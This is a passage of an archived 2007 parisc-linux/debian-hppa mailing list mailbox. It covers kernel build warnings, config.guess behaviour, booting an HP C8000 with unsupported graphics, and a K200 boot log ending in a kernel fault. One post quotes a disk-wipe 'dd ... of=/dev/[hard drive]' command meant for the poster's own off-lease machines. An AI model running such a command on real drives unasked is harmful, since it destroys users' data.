	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Vobrd8JbYmYTTenCanc3rJRKWkZTQVSS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24774

On Tuesday 04 September 2007, John David Anglin wrote:
> Some section mismatches in 64-bit kernel build:
> 
> WARNING: vmlinux.o(.text+0xb0): Section mismatch: reference to .init.text:start_
> kernel (between '$pgt_fill_loop' and 'common_stext')
> WARNING: vmlinux.o(.text+0xb4): Section mismatch: reference to .init.text:start_
> kernel (between '$pgt_fill_loop' and 'common_stext')
> WARNING: vmlinux.o(.text+0x290): Section mismatch: reference to .init.text:smp_c
> allin (between 'smp_slave_stext' and 'flush_tlb_all_local')
> WARNING: vmlinux.o(.text+0x294): Section mismatch: reference to .init.text:smp_c
> allin (between 'smp_slave_stext' and 'flush_tlb_all_local')
> WARNING: vmlinux.o(.text.write_profile+0x19c): Section mismatch: reference to .i
> nit.text:setup_profiling_timer (after 'write_profile')
> 
> I think there was a warning about a missing syscall fallocate.

The first two warnings are valid for 32bit as well. Reason is:
[head.S:122]		load32          start_kernel,%r11

fallocate() syscall is missing in 32bit too.

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: linux32 personality & config.guess
Date: Tue, 4 Sep 2007 22:37:12 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <18141.49656.228645.911768__48279.1645489216$1416624431$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624431 24953 80.91.229.3 (22 Nov 2014 02:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 20:55:44 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx026) with SMTP; 04 Sep 2007 22:55:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 39EB52E69C; Tue,  4 Sep 2007 21:01:40 +0000 (UTC)
Old-Return-Path: <doko@cs.tu-berlin.de>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-1.4 required=4.0 tests=AWL,BAYES_20,
	UNPARSEABLE_RELAY autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by murphy.debian.org (Postfix) with ESMTP id B59482DE22
	for <debian-hppa@lists.debian.org>; Tue,  4 Sep 2007 20:44:04 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost-12225.cs.tu-berlin.de (Postfix) with ESMTP id A64F5144DD;
	Tue,  4 Sep 2007 22:37:13 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
 by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new, port 12224)
 with ESMTP id 24582-04; Tue,  4 Sep 2007 22:37:12 +0200 (MEST) 12645
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Tue,  4 Sep 2007 22:37:12 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.8+Sun/8.13.3/Submit) id l84KbCCM021204;
	Tue, 4 Sep 2007 22:37:12 +0200 (MEST)
X-Mailer: VM 7.17 under 21.4 (patch 20) "Double Solitaire" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de (including spamassassin)
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <zS1aX.A.fMC.0ec3GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5913
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  4 Sep 2007 21:01:40 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: afHocpovTiEscKyUaGRwHa11ZUVSRFfw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24775

With recent 64bit kernels linux32 seems to work,

$ linux32 uname -m
parisc

but

$ linux32 /usr/share/misc/config.guess
hppa2.0-unknown-linux-gnu

which seems to break some configury only knowing about hppa and
hppa64. Is config.guess correct, and should configure scripts be
changed?

  Matthias


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting a 9000/785/C8000
Date: Tue, 4 Sep 2007 23:15:27 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <200709042315.27478.deller__37686.8483763703$1416624432$gmane$org@gmx.de>
References: <200708311602.04193.rickv@hobi.com>
	<200709042217.57061.deller@gmx.de>
	<200709041604.38199.rickv@hobi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624432 24958 80.91.229.3 (22 Nov 2014 02:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rick Vernam <rickv@hobi.com>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 21:16:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 04 Sep 2007 23:16:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2710B7DB1C;
	Tue,  4 Sep 2007 15:15:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8Vny0FVHueuO; Tue,  4 Sep 2007 15:15:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C81527DB1D;
	Tue,  4 Sep 2007 15:15:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1D4C7DACA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 15:15:42 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qyxZRW9z1MTh for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 15:15:30 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id CD2B17DA8C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 15:15:29 -0600 (MDT)
Original-Received: (qmail invoked by alias); 04 Sep 2007 21:15:28 -0000
Original-Received: from mnhm-590c3ca4.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.60.164]
	by mail.gmx.net (mp055) with SMTP; 04 Sep 2007 23:15:28 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200709041604.38199.rickv@hobi.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f6a/EqhIbXBsfrqHPTQ2ZMAqLyUmZYg/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24776

(please keep the parisc-linux list on CC).

On Tuesday 04 September 2007, Rick Vernam wrote:
> On Tuesday 04 September 2007 03:17:56 pm you wrote:
> > On Friday 31 August 2007, Rick Vernam wrote:
> > > I'm new to parisc (hppa) machines - never touched one before.
> > > I'm trying to boot into linux so that i can do a simple
> > > 	dd if=/dev/null of=/dev/[hard drive]
> > > I have about 25-30 machines to work on, so I'm looking for a rather clean
> > > solution :-)
> > >
> > > I've tried both Gentoo's and Debian's hppa offerings, but am having the
> > > same problems on both (i've used gentoo x86/amd64 for years...):
> > > 1 - I can boot with 'console=tty0 sti=0/4/0/0' (as added by palo) and the
> > > boot process will stop with
> > > 	Console: colour dummy device 160x64
> > > at this point, it is not hard locked - I can ctrl-alt-del to reboot.  it
> > > would probably sit there indefinitely - I did leave it for about 16-18
> > > hours (running when I left work, still there the next day).
> > > 2 - I can boot without the 'console=tty0' and the kernel will load, but
> > > then fail when it can't find initial console (panic: kernel not syncing).
> > >
> > > I've tried with both the AGP 8x Fire GL X1 that comes in the machine, and
> > > a PCI Rage XL of some sort.
> > >
> > > The Gentoo kernel is 2.6.20 (most recent livecd, 2007.0), and debian's is
> > > also recent cd with 2.6.18 kernel.
> > > In both cases, the complete kernel command line were pretty much the same
> > > (maybe they varied in looptype? ...and order of arguments)
> > >
> > > TERM=linux root=/dev/ram0 init=/linuxrc cdroot looptype=normal
> > > loop=/image.loop hda=scsi hdb=scsi console=tty0 sti=/0/4/0/0
> > > sti_font=VGA8x16 palo_kernel=0/vmlinux
> > >
> > > while it is doing whatever it does prior to when it can be stopped to
> > > specify a boot path (analogous to x86 post?) it does say something along
> > > the lines of:
> > > 	console device			graph3
> > > 						0/4/0/0.0
> > > 	current console device	graph3
> > > 						0/04/0/0.256
> > >
> > > So, upon seeing that tried to set the sti= kernel arg to those values,
> > > but found the same results.
> > >
> > > anybody, anything?
> >
> > Yes.
> > Probably the reason is, that you are using unsupported graphic cards.
> > Both, the Fire GL and the Rage XL are not supported, although maybe the
> > Rage XL could be made working (if a developer will/can try). Please see
> > http://parisc-linux.org/faq/index.html#fxgfx  and 
> > http://parisc-linux.org/faq/graphics-howto.html
> >
> > Helge
> 
> Well, The Fire GL X1 is the original card for the machine...and it boots HP-UX 
> just fine...
> I'm not looking even for framebuffer...nor will I be using X.
> I'd be happy with a non-framebuffered boot.
> Anything to get me to a shell.  (the machines have come in off-lease, and I 
> don't have root passwd for the existing HP-UX install).
> 
> Can I pass some kind of nofb kernel command line or something?

No, even "plain" text mode ("sticon") needs a driver, and the "STI" (Standard Text Interface) BIOS routines are not supported by the newer HP graphic cards.
Your only chance is to boot with serial cable and minicom (unplug keyboad/gfx cable):
http://parisc-linux.org/faq/index.html#serialcon

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: crash in mux_poll on K200/Kittyhawk (was: Hardware-List (fwd))
Date: Tue, 4 Sep 2007 23:44:29 +0200
Lines: 225
Approved: news@gmane.org
Message-ID: <200709042344.30215.deller__32414.2569945709$1416624432$gmane$org@gmx.de>
References: <20070828215632.R6291@saddam.controlq.com> <200709042213.25542.deller@gmx.de> <20070904172254.Q31055@saddam.controlq.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624432 24960 80.91.229.3 (22 Nov 2014 02:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:12 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: rob@controlq.com,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 21:45:18 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx088) with SMTP; 04 Sep 2007 23:45:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id C06CF2E73C; Tue,  4 Sep 2007 21:51:28 +0000 (UTC)
Old-Return-Path: <deller@gmx.de>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.0 required=4.0 tests=AWL,BAYES_00,IMPRONONCABLE_1,
	IMPRONONCABLE_2,LDOSUBSCRIBER,MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2,
	SPF_PASS autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by murphy.debian.org (Postfix) with SMTP id EA0C52E790
	for <debian-hppa@lists.debian.org>; Tue,  4 Sep 2007 21:51:21 +0000 (UTC)
Original-Received: (qmail invoked by alias); 04 Sep 2007 21:44:31 -0000
Original-Received: from mnhm-590c3ca4.pool.einsundeins.de (EHLO ls-cups.box) [89.12.60.164]
  by mail.gmx.net (mp039) with SMTP; 04 Sep 2007 23:44:31 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070904172254.Q31055@saddam.controlq.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
 =?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <Cs_fs.A.XxB.gNd3GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5915
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  4 Sep 2007 21:51:28 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gKS0daAmeWU2aK2TZm9nJXsrL0tsZg3B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24777

Forwarding to parisc-linux mailing list.....

Can someone with MUX knowledge take a look into this problem ?
Additionally, does someone knows what this device is ?
> 12. unknown device at 0xf190c000 [10/4/12] { 2, 0x0, 0x004, 0x0005f }

Thanks,
Helge

On Tuesday 04 September 2007, Rob Sciuk wrote:
> On Tue, 4 Sep 2007, Helge Deller wrote:
> > On Wednesday 29 August 2007, Rob Sciuk wrote:
> >>> I'm having some difficulties with Debian 4.0R1 on an HP9000 Series
> >>> K200, also experienced similar behaviours with Sarge 3.1R6 and Debian
> >>> 4.0R0, where the install freezes/panics at the point at which it
> >>> states:
> >>>
> >>>   	Freeing unused kernel memory: 328K freed.
> >>>
> >>> The Gentoo 2007.0 release on the otherhand goes on to boot the full
> >>> live cd.  I'd very much like to run Debian, though I am just now
> >>> putting Gentoo on a 712/60, and I might resort to that for the K200.
> >>> Can you help me out here or provide pointers which can get me through
> >>> the boot process ??
> >
> > Hi Rob,
> > could you please post the full boot log (e.g. captured with minicom on serial port) ?
> > Helge
> 
> Full log is attached, captured with cu/tip on FreeBSD

Firmware Version  2.9

Duplex Console IO Dependent Code (IODC) revision 4

------------------------------------------------------------------------------
   (c) Copyright 1990-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------

      0      100  MHz   Active                 Functional          256 KB
      1      100  MHz   Idle                   Functional          256 KB

  Central Bus Speed (in MHz)  :        100  
  Available Memory (bytes)    :  536870912  
  Good Memory Required (bytes):   19648512  


   Primary boot path:    10/0.6   (dec)
   Alternate boot path:  10/12/5.2   (dec)
   Console path:         10/4/0.0   (dec)
   Keyboard path:        10/12/7.0   (dec)

-------
Main Menu: Enter command or menu > boot alt
Booting... 
Boot IO Dependent Code (IODC) revision 0

HARD Booted.
palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006
Boot image contains:
    0/vmlinux32 4191629 bytes @ 0x3885800
    0/vmlinux64 5798357 bytes @ 0x32fd800
    0/ramdisk 4466902 bytes @ 0x2eb1800

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/ram ramdisk_size=12579' console=ttyB0 TERM=vt102 palo_kernel=0'0/vmlinux'
Selected kernel: '0/vmlinux from partition 0
Selected ramdisk: /ramdisk from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2392744 mediaptr 0x1000
Segment 1 load 00349000 size 499712 mediaptr 0x24a000
Segment 2 load 00400000 size 381062 mediaptr 0x2c4000
Loading ramdisk 4466902 bytes @ 1fbac000...

Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 2.6.18-5-parisc (Debian 2.6.18.dfsg.1-13) (dannf@debian.org) (gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 Fri Jun 1 00:54:09 UTC 2007
FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 000058b0 00000491 00000000 00000002 40696e39 100000f1 00000004 0000008a 0000008a
vers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/819/K200
Total Memory: 512 MB
initrd: 2fbac000-2ffee8d6
initrd: reserving 1fbac000-1ffee8d6 (mem_max 20000000)
drivers/parisc/led.c: KittyHawk-Machine (hversion 0x58b) found, LED detection skipped.
LCD display at f0190000,f0190001 registered
Built 1 zonelists.  Total pages: 131072
Kernel command line: root=/dev/ram ramdisk_size=12579' console=ttyB0 TERM=vt102 palo_kernel=0'0/vmlinux
PID hash table entries: 4096 (order: 12, 16384 bytes)
start_kernel(): bug: interrupts were enabled early
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 524288k available
Security Framework v1.0.0 initialized
SELinux:  Disabled at boot.
Capability LSM initialized
Mount-cache hash table entries: 512
checking if image is initramfs... it is
Freeing initrd memory: 4362k freed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
2. KittyHawk GSY Core BA at 0xffd00000 [10/12] { 11, 0x0, 0x015, 0x00081 }, additional addresses: 0xffd0c000 0xffc00000 
3. KittyHawk GSY Core SCSI at 0xffd06000 [10/12/5] { 10, 0x0, 0x015, 0x00082 }
4. KittyHawk GSY Core LAN (802.3) at 0xffd07000 [10/12/6] { 10, 0x0, 0x015, 0x0008a }
5. KittyHawk GSY Core Centronics at 0xffd02000 [10/12/0] { 10, 0x0, 0x015, 0x00074 }, additional addresses: 0xffd01000 0xffd03000 
6. KittyHawk GSY Core PS/2 Port at 0xffd08000 [10/12/7] { 10, 0x0, 0x015, 0x00084 }
7. KittyHawk GSY Core PS/2 Port at 0xffd08100 [10/12/8] { 10, 0x0, 0x015, 0x00084 }
8. KittyHawk GSY Core FW-SCSI at 0xf1800000 [10/0] { 4, 0x1, 0x015, 0x00089 }
9. Gecko BOA BC GSC+ Port at 0xf1804000 [10/4] { 7, 0x0, 0x500, 0x0000c }
10. Eole CAP/MUX at 0xf1900000 [10/4/0] { 5, 0x0, 0x015, 0x0000d }
11. Wizard SCSI at 0xf1904000 [10/4/4] { 4, 0x0, 0x004, 0x0003b }
12. unknown device at 0xf190c000 [10/4/12] { 2, 0x0, 0x004, 0x0005f }

Helge: ^^^ huh ???

13. Gecko BOA BC HP-PB Port at 0xf193c000 [10/4/60] { 7, 0x0, 0x103, 0x0000c }
14. U2-IOA BC GSC+ Port at 0xf183f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
15. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
16. U2-IOA BC GSC+ Port at 0xf103f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
17. KittyHawk DC2 100 (K200) at 0xfffa0000 [32] { 0, 0x0, 0x58b, 0x00004 }
18. KittyHawk DC2 100 (K200) at 0xfffa2000 [34] { 0, 0x0, 0x58b, 0x00004 }
19. Memory at 0xfffb1000 [49] { 1, 0x0, 0x053, 0x00009 }
Enabling regular chassis codes support v0.05
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 34 failed with error 1

Helge: ^^^^???

CPU(s): 1 x PA7200 (PCX-T') at 100.000000 MHz
Setting cache flush threshold to 660 (1 CPUs online)
Found U2 at 0xfff8a000
Found U2 at 0xfff88000
Lasi version 0 at 0xffd00000 found.
Found GeckoBoa at 0xf1804000
NET: Registered protocol family 2
IP route cache hash table entries: 16384 (order: 4, 65536 bytes)
TCP established hash table entries: 65536 (order: 6, 262144 bytes)
TCP bind hash table entries: 32768 (order: 5, 131072 bytes)
TCP: Hash tables configured (established 65536 bind 32768)
TCP reno registered
Enabling PDC chassis warnings support v0.05
unwind_init: start = 0x1034acc0, end = 0x1036fa70, entries = 9435
audit: initializing netlink socket (disabled)
audit(1045223588.036:1): initialized
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
Soft power switch support not available.
STI GSC/PCI core graphics driver Version 0.9a
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
Serial mux driver (8 ports) Revision: 0.3
ttyB0 at MMIO 0xf1900800 (polled) is a Mux
ttyB1 at MMIO 0xf1900880 (polled) is a Mux
ttyB2 at MMIO 0xf1900900 (polled) is a Mux
ttyB3 at MMIO 0xf1900980 (polled) is a Mux
ttyB4 at MMIO 0xf1900a00 (polled) is a Mux
ttyB5 at MMIO 0xf1900a80 (polled) is a Mux
ttyB6 at MMIO 0xf1900b00 (polled) is a Mux
ttyB7 at MMIO 0xf1900b80 (polled) is a Mux
RAMDISK driver initialized: 16 RAM disks of 12579K size 1024 blocksize
serio: GSC PS/2 keyboard port at 0x00028000 irq 19 @ 10:12:7
serio: GSC PS/2 mouse port at 0x0002a100 irq 19 @ 10:12:8
mice: PS/2 mouse device common for all mice
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
Freeing unused kernel memory: 328k freed

FLT  0000Backtrace:
 [<1012f7ac>] run_timer_softirq+0x124/0x1bc
 [<1012b72c>] __do_softirq+0x58/0xc4
 [<10103f28>] __lock_text_end+0x38/0x48
 [<1010b068>] intr_return+0x0/0xc

Kernel Fault: Code=26 regs=2fd78600 (Addr=00000110)
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 10370010 1012f7ac 103e7e84
r04-07  0000000d 00000000 00000000 00000000
r08-11  00000000 faf87e40 00000013 00000000
r12-15  00030c4c 00000008 00000007 1013d4e0
r16-19  2fd78240 103810b0 00000002 00000000
r20-23  0000f000 c1b32767 1026b740 3e4cd8aa
r24-27  0000002b 10383300 0000000d 10371010
